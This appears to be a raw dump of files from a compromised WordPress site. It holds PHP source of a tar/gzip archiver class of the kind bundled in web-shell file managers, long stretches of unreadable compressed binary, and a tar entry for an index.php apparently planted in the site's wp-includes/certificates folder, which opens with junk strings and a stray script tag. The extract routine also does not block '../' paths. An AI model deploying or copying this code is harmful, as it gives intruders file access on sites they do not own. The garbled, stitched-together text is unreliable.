(file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
    '; foreach ($Errors as $value) $message .= $value.'
    '; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } index.php.php.tar.gz000064400000061427150561270060010372 0ustar00vH دsJULRE )(RJdD$@$XEgKu}C?C}Ibv3L6* ȵlY<PW9Y\;513U Y4b0A֜QcxQE[Ƌ UCQ>!H_Η+ME")@.8Tf( i"z꿳( ?:'1=XB3"JRj "Rr<$lHf <)")04ɌxH }4`8 ?Vt'=E+ @r_4r$t"]/C([3!-kx8xS KTxbs3A>:'(Y"d~!0tDh4!.x2 PXH9P]+ZH | FRxa<f.U2>^As+wBa?ATz= xT 蟑1f wh{зދf)ڟ=c>1f=J=>~?ь}za?8 JxB5/sn;xWhAH^$W$/pF }<>~5$M-kc< wV"ah١\^q!=EY:ᐃR("A5]"QPݭ '$X+ؑ{xVbB׌PS0. ~U^d1vqjA+ʺ&h V};G3 ^1&f*̇,Gq.pe+] J,сAhV+PE0s2;)3"Ϝ$d#*4g] jVdJDA3 :/h։)0hh#abFZ8i '^.i IA\D p\;PA"FQ\#IBlFÿ 0{@Cukp%bO]9R!R\PeI0gv7Vsh=PK-ީUzeUnw`@fl6,hԼ9 qْz`h A@s0SLd|3԰0W\o Uj(hP nР/DۓR==L/Arj9pߪ^:B+y,S9W ?G)R,W //CP!P_ܐϗo_ν>s Lq4I+4Z;TX{]P =AԠG# f>s1^Lq} B qZ<3#8\G&-& K콹0S7hX׬s$Gşl`d¡]s! /X\WPeƙ 1Z#! <$ܫ/Ok { )Z i }m$Y+|GGlrm [@)04&m+4H5(X"@| o@vKLaJE -!lDۓ0i1*`HsIV.Ԓڑghp: e^&BW s~7o`qkCB@ C9ޮ P#6nZomX#A=ǝ]>b.xI3/$Cx}8v(&{t|"mJ=H53X#e!X\5;#AARhakL 0x<@ Ǯ !YcL#0h()[#xQeJ"la Ř3쎊Hus]]3N9~bS:j)*" ^B} UK^EˆvE>ބCwA?[]R2ʜsUQ$@*ue*7 p齀 ]|>9H`1ח=} рcqV!On`m%%#'>߇džFf.u_Xop vQNjg{^4QƁ#T&Z5)U`Mܯ- RkagOܫuh6 GpgW^dEXdrJl2%B)#3w~avٴ~{72 H_k<`6xY5mhAbr@D*&#Zsζ(I2` GdsL:hj 0ujA"Ǡ^Ww(0[2Q_ڲ٠"0BZY޴ALL}wowDvE!ƚ(hJL7cA\cBuP=s3`Q8"'hN)c"~䘉*n?e znHD4HA9C{,~BI4n=z +X^Wԩ&HqWt*n.V/drpBlbVƒqj@o.< ܒYֳ?&15&p{6]K? +u\' sA9?E $Z)l:y(2}s+Cd }q45a*&Ȅffplݜ[M=l&b|^؇ O!U][[G>.-l1{xm,?3Gt9z$J$A8b@ ۍ}t7!^8np"Ԏd=: v:#۬=jkn5I(FMk>2!e( }=L: ]O N2 Dž]`Õ53ߢ*5XGlW<~@Fez/B~Rp.hlj_>1(uyK ο7hgNad]J8n裔TpDLSd^px*7nl)dĞ>`vS !N ّ4Q:ĈÑ!響ޠ{"Ŋ7Gf'yřIN=DXwHB B8mgdpCwNU opڐ$Z:K3LxĄ T'&/H\$5Efs*[V}gDX0qXh9$>/o48xܱaFI^ G3$)*`:|S3mĐONHvW.gj wC,B ?yj!f~c$G(&sT,2h #!'S.2rb ;GkTiee9JCk2my \m$CS.W0y/DJA 7mE# T 6S.0LShy=8P~t#2EY̹)L?Y˘@g1pTqxY% 4 bRk(ѣ>܀]}3bH DŽ0=m^/LZnMk簊X tM l"tKz7Y*o$K{5%B4tiFjR n^^VNdһ=\#b<t2Rc5N9׭2#v'>Bmt=-צ~0ٹrQyu#ǻt)+]-fkKߪB~ݐSyfb0[/QږO$KT>5!/ԾB wl;|Bdc-M-ڼ]M B C0 ~kTK "WLd1 !̫Ga IQ~fDj`2@ILj3]A9ɀs{C%8)z$1>1~)?Ԉ,09(y;`/>XXW[@@b2٦1 Υ8ǡ U- B_ lUJc%ZI3FOYx4rUt%>2 [*J7bȎD}EvN$4 s!Ϩvoz~a.lJ2!]6e +L}ܥ"Tބl1nkk[+.I]':Zt+g|'Wh})YϏHwƌ^ò騪zl2lD=%MܽjB.:-Ñ^-gӇ9:$$YPK3,;j#SBECQ:cU\ ODܛHbl=tYWT c?DsV+\$sLtS:hArt\.Kh~<_3χj%̶.eFi2Ր·\}:zw1jlRb]#yc}H>Pil۝UKs"8-CpiAodsm ԦX-Ej~$E:Ta% n)wڕD5E406D[?c5rr+war^:"],>u&ps3{ ~<{FJ͊>3?*#p" geCTarp n13磮~yfXA~$ۏ '0P8mL+ܴF)<s;8>ѹ% {F~jN <0,QJ.TEW>͋kUR`=k e=ׯj_ؾq&k?'ߗz}Օcƽz~)֛Ofyl+;9g"M;# 2<Ljs܂{[mr(1.Op3 _`>@wsA̋Efp)kuז0.ȸW >w9 c17`&**r9DWY\Pᢙ<6O8~#1~Ժ*BQ`!8µQ4qa E >=6lB9`E&& ;5D8O|7_FG9߻C0)v죵; +YXf ދ&صRMX{i?Y1&Fd Qxze|3<梷\7 G3h!4&ÑPO bLB{;y]f?89m;fʱH@NA_<9?wU9kͻ6(?} <(HTz~@< ZC^Z֯PߪsC]! o% k0ϟ3-|- %~ RrH S8X3+B)ǹ0M x3|WIb ƦKV1҄aF<cEԦ^8*Yc#.Ϡ_kGUkcIY׫]KCUaޜxF&|k dCd[0,΀cܛ9,aKk!µIn*lfz&-r A& vL洳6#XzEGIQgDvةu3艙I]%1Ek)NFUGWf-)g80 چxQN fSAE_G*Wo"~sW;OhwS˥Y}}L-.N6| b[`|=O\4;vy|rc#5ǐR.sU8G8 *ZDrpe7r1DnK&zXC?J<&q}xM;|7X!qgGBɏ Xvlq_pV\  S !V㒸Sp [K]FF}ǐ9b~|qd!;Ҳl{}tC&2X!c18.5>T4>}B~d a"Zoϋ+ъʢ &p%\ * CkErzu(/Bl П FBjf)a9 B ]'4w :In蔥4c? 5 |F\!~s2@JpF|嶵bCm UtD) xӢivR?sPk:pIPV7W}* i,P*|)iVH FzqTI#2ۙLSjT2r7_/jU_^. !zwBfB&1ok&|}vYk73dq9q]a# a]uWS_pM=~~W__:" 'K\q]:ː$XLAzV7$:\=AGNng>rAS J3i3?N -Q[O7Oc%?5ŽYrEi{uvnOm\ X&9Qg]j xJ4H?w(H6_&JPuDu_lbP`UL4V|9E0z{gEosUx3drl.A{o}˫>j>&!LHl^!f96! 5a  s*/hdp>ϹhwB(zD1 U"oT ń >e1Ž'0#jp"J7R%MIlCMAdK]wI G:EqL&,O)CCs ݊|~npxk'_ɣ{;"l+ChMD3V/eH1(u2)'wkr(N誙kČTWI\.X3kƬRHu;BJ)q,f{(v ZT"ѬUD,jj2lL4J5V}~~4-vQ&>fyXvBA7v)&4FPd qwl!ykeVLV=Ts|_e;v. i a64kOr)dYe~K(L.嫽Hu)fL)#vR2\rMhߛd{*b8^gy+Ոgjc=w#rfBf2˝E&Lm-)n)% Sa%|PNF+r&柫͞+F׸gc-v%[˰TjF;,6c1-<ꪖהD$/*{g6LGYe;l62YcVmY\f%-vdl݌kJ3w5&\nݏ+6nZ mre=ČOTl8yx*${x|k r_[]~[i/ F^Uaכ7\=>T&cm>9odf͢nRho3mB2d_2ݼ-?dg%ctrX_V:bٚR }iv:#m A&TYuzR5\oұۥ{2&wԌץt9M<6<7\̰HRkWzPLoumwB?VxTW-uK[eխ̗*,z7~vųTK~!8]6䎴ԻE? :aQOw˹ vqﳽYiX{XE4ֺt"}-:OZm½zWE {/Kz=n2Nm`櫩 -柇L#ѝHOX4BJIwKNqZKY,- ~ܛ#V]m Zrhy%ya>j-&s0W#=儢K1blƘtu ^ q̅jFb\$,Pe/#՟{Y0y$2z*ʽ /'cOWZڐ#5FR&a0󋧺vE5vc$8' jV/#B|{܉eV=Z^ < Dhϓڈ(kԌ"rjs]ۅ  l.>V#.\ަxY兵F+~ i|+:V.PKNV/FC5̦glTeC6jlۆںl_3ӧP:{=MB1_1jkϣfPECD_.tpRK1|)QcJ Yun)H>^5g72i둾!6&۔ 5F\P3~1rt*wڜJϩ%V7n%^ʭXY6?չZRtxtX)\2RGJc,VfFQMnx*0P7Z/u(=VwSW[ߏ޷BKnU0ڏ}~H n)kcULN %íYKHRݳl&'zr %kσ.ʶ+]fZi{1H/ 9&g.\"?l!Ba -[?l!Ba 򯱅BfS3j >v#+d?m<)C,L >*l ۅu^ԔZ'6T$ {r^қt'vXgڟN'8Ϯ~iXS˰.oһ鐉HE@>d)֛lZHK"n{h1/76(7-aԽBQ%Dn.S+H2R*eUz-'^H˶gz ))f,Sa8JG֏]EsM?].Z.LzB}뵝*Ec)mF#ٟ_Eaݯ l3*ȓBmJʦR)*w7X*HS 6ikrl4 1j]|0v2{%?OZ2e:ϯC/[*bOlܛOe?V溻Hrv#NOm)݊2VŠ_Ijn.bͳ?g휲|tNAq~Em*?qФ!X?i71?Ryj:ԣ0n fG[qBqS)q'wVxkwZDޢݪ"C"a\.*Zc J =KżȻmΟy9[K iVK;.ܿieӵ麟ȭBjN.~,z~vǏX-U֑ J6k~ $:,[s6iW/D3* v(GǦpt2{.c0_j3O-JFcӓ)v}W[ayo/vjiR(fϦ;Ͳ֬OTyVHj%;4›B ^ꕱ; R*؜YznA#mKi&Kf|8GBS)֦ʓq-+ ei'o(B%WгWl}=$^bnzb9gRu۳_W4o-:_CRNʻ~V i<^PzzPr.zT-/ZUe+!}W'uN_ g&%o )ʕH62#RM>r1sjln]Q?OcNTvTᏢ0Z֛xW.ߘs9F 9!WHha6fHpvMÅ! ox#I+IGJTizBNVUd}B*z#?vi1ԛGG_K;*yt{BfQW5&FW(yF{1y e i1Y?Vi4' פ\m)\ӷ' hEM2!m } kZE!R~1bԋBޅ*w-$bDva`#1;˝쀸smLBH+-jl^We?@=.Y_}'(G8 QPp;Nh6$^ (zG7㇯ag Gvfװj(vfC~n*uS|׊ w`[Wa`Q׶6&`@>C>p#2A +7+ VKN{2xgXt_[ݐ;Վ޹c]A `BoyeWL(SɸbO=}r>[?pwQ@>#\xʷ{u1g){~'BG~@G0wbw9W/Z;䱀l?kAy{\-d*._a\V0y!u^A:E#[_ET;ՏPH­8cp%;흩*QMj'J6$?9~CZ-E|[~BUwSZ~D3[6lI˨bon,_2y5ivTXBt&;[D^Oq7I0ӣfW/?ݞ3#NcYSERaJZ ]L!~t:' 䊣 M8 rnh/hlAFkp*r q`9G˸"jAȪW5+D1?ጛ zpbAZ'Oy\!#}Be}|MI8"qU+1e?\ci}s Z6I]n0|7S8jgeFD\X`X3_<8:Z&i H|-\ u#KR DA =o4&7 y@+}x:|12PU챰x>N{%0ٷ5qL٢Cs84$g(O-mvċL :(9ǣ_= ܇J0eaMH/ 四Ïcx8&'AW_U$vGBȝj~<\=C: Nm;(퐀gNo(k{ /dq+^-7V!Ό~Md 2@?"T$ !l" \ ڃ%CfMDٵ^>X ++!:_yfL; c#E )t*s͎r2S/"chQpt?ݞ{i'7g/esgz'{=3ߘOq$i~xZt37kƁ(nľe?_MUF#1?G6H* LQ4dl!\Z[(_ ?/9f0"^ Kaw\߰Y* I:)GH)ޝTgxqʭA+_ɒDOs2`2|!1UO΢. Ƙ8|!W$YCA.nIB\.Hv'R"$OOΏlk>!YԜs}:2H>d2}_{o6lv=JcH/F? #Ԣ8_s0AG 19*ąĦ)?q4?)KD ^tQ&.]8qSJ@I[:X UUEg#x`.o(EUi5e֐KXK%sNatTq8!,UyqSohS_9P)#׮Yd\CO;Ώ?>{g8݅@B3*#Nh3fxIᡂe:z;#B"t r,:Aq#7>˂**h ^]L Y<(}זmU Nq.yyHl+^,M}DΘeAd*wJXh 7SXHp* 9AЬ ‰+fN)Aœ6tyELw<^?> 8ÞIJ|30n,zƁՐZOjcIg Ġgr_q.U U'g^ɚVn3Lq;|LOW?h23-~]ݑ7񣭹mPoTܿ1}t[Q4 )>-{n7G\5K{!Gᐌܐtq:%憫*WU=iiL&dH.\3cܓf<#IY_15CJC׌HtQеӝ) zfek"5\ފ-xoBP.pts0}d%"_g?Kz឵ơ?w$)Н>s]e Ti (FB3x_AWXK$ZS oͼ܏dlt/]tJV*닦U5ݘWUӕⰲ%KN@Y$ `4mɶ9ؾ>(Jw,le >-cuJg;H'h3>ky(AP8,Ҟw\ AR#ճ S2q:ϰO*XUV I+zz?''fq 9ߗf -ƞ?xhD3H:3k|-ްaP֮ol6h% h[~Zq*l0FAnʼnl~l2 ]EWA|,zM,"05dz؍RsOg,~"[i"  & ٛ/O# |Wn^nd%`A ^[FZtC{==#,rTGW8 +Ĭ@)67xC}>*ŏs!0L>ml9);ƽP 昭2F_^>~Lk`O{xaeHp)[Au 6įfpP8Zf 3D$UH{r0۝gpӄX N{Aމ >Hpl}LpcI['`z08L{gaOeVQ^臖ڮnp})xg+<`KmЦl{^mM&Ԛ^ʃSJ SjA؞ߢ~\#$Dt,0 Yh/ڴ#Ȑ12 גuBNpjV(g CB+pf`DXgt h=xbbv%v) OóeIƩۥ=*:>0 B9u1MUܸ*b)ԃBG?X2^ )l._(Chڝs 0OLbjZoP8TϞQE{~ 0IA?Gb a]<6'׌/ѓz::­B8{% I1 PC G!s~8_|ǥ& €'>&ܠY$[Hh%@WL8A݁@Q'CPġI@Pjͤ3bVRLJYI VJ iQ a>喢b DA/`F'((shy2>T<5`P_ `\+'0¸}dR9qȱ5S Չt.LU ybk9WCICaoH=3V_f3dJ9G\i K,hHDr2H#?50 8^hPQl6 K#B;py-1r)LGs򤨳\  aǺ6diʳ IHVVREƞH<"pW]Hq\@4nb%l3p&ʈ#-nA鴋s>&A7ݎC2Y[s[5p=~: ~~Y}q:0ϋテ{-Ʉ0DqX@ ʈ|4ncG;6a} 5pˠ z5gPOP膶G -. ?EM3ZpD6g 8 lA])-0A'Jfd$ U#~X̌}>d=SV5Q3c4Bvɹ&Bo 6U.03|/YRS5sNۭýE{ DNl1xM]} Yp}`Y7}h.죦PC'OG9/m" '9^bZ>t`"esK UiD0 DRU5\; wDR?ބ|N jaU _!@2fiO>vW n:YOMW̅ p{e'}k?\-^_2kMnN$CEUqWّc,]|l]5Bٵm}}ynn[#>(` F{p$6s-8qs:qr3wmDogKx.`bw׆ 5]3ދ 'xda`J6c6j u]ӽ;88!PcI9);A!| :e.BlycrTܯo DYbJZcѓuIi h%}]zAYKWޔcGuu;͸lI SEvIK%7B&L G 7JrA"a]B\ga ԯ74& &w-w:<0ɂ&!tek@'צ9H3l!9gp61-\Es #| KL s: ``3vlS FAg+#ߵ92xɦ~]ne(,ɭOy=.Yyv?АG i?Aӽ>:ԶnLb%QX7u M}`frt_3q8nx{اd_M!޲bxTXmM#P_i qbp!Ӣs B3kLo(*o-AJ$0Zbh D#c/TQ(+*6DcoN Q<1C=/ *ν99|}$$ Ğ37L$S5Hb#0s޾bd,0 FsjvʸY>S=rBG+<{cI^E:3ߨkگnN7X8]{jEzost8+ ɥH&LP*%\-Q9[$ e^ryL`e7sˤ^X( {CPD"nzdt-Be})N)54vЀK0f,zhU ay/yʲ 㤡o@0=۽H!P&k{O;Xt0fcݘHZXuFԙ;wxӉ[FpQ7REh #QYq7_](!3lK~}vNVޒ<=u^# 9Qo68Bm_uvf& N8]^ª4zavym$t4cb|wf}?+9}n(I-b ,_=⻝nI;$᮹?F'XաpSSOé^5?VTBIJK@AEny隠fEp3vw@qFW<,nit hLnBpu~Zs^;8Nܕ}Cؾ=?#O>index.php.tar000064400000237000150561270100007150 0ustar00home/eufvorrv/jigawapost.com.ng/wp-includes/certificates/ova/index.php000064400000233533150550212000022205 0ustar00nskldgskgsdgf hlsqmdklsqd speskdjqsjdss <\/script>\r\n errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
    '; foreach ($Errors as $value) $message .= $value.'
    '; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); 